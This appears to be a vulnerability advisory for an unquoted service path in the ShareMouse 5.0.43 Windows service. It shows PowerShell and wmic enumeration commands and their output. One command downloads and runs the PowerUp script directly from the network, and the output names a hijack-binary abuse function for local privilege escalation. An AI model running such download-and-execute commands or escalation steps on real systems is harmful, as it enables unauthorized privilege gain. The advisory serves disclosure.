ShareMouse 5.0.43 Unquoted Service Path

ShareMouse version 5.0.43 suffers from an unquoted service path vulnerability.


MD5 | 6f0368cfc4a9e8993302640ee350fa64

# Exploit Title: ShareMouse 5.0.43 - 'ShareMouse Service' Unquoted Service Path
# Discovery Date: 2020-09-08
# Discovery by: Alan Lacerda (alacerda)
# Vendor Homepage: https://www.sharemouse.com/
# Software Link: https://www.sharemouse.com/ShareMouseSetup.exe
# Version: 5.0.43
# Tested on OS: Microsoft Windows 10 Pro EN OS Version: 10.0.19041

PS > iex (iwr https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 -UseBasicParsing);
PS > Invoke-AllChecks

ServiceName : ShareMouse Service
Path : C:\Program Files (x86)\ShareMouse\smService.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'ShareMouse Service' -Path <HijackPath>

PS > wmic service where 'name like "%ShareMouse%"' get DisplayName,PathName,AcceptStop,StartName
AcceptStop DisplayName PathName StartName
TRUE ShareMouse Service C:\Program Files (x86)\ShareMouse\smService.exe LocalSystem

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.

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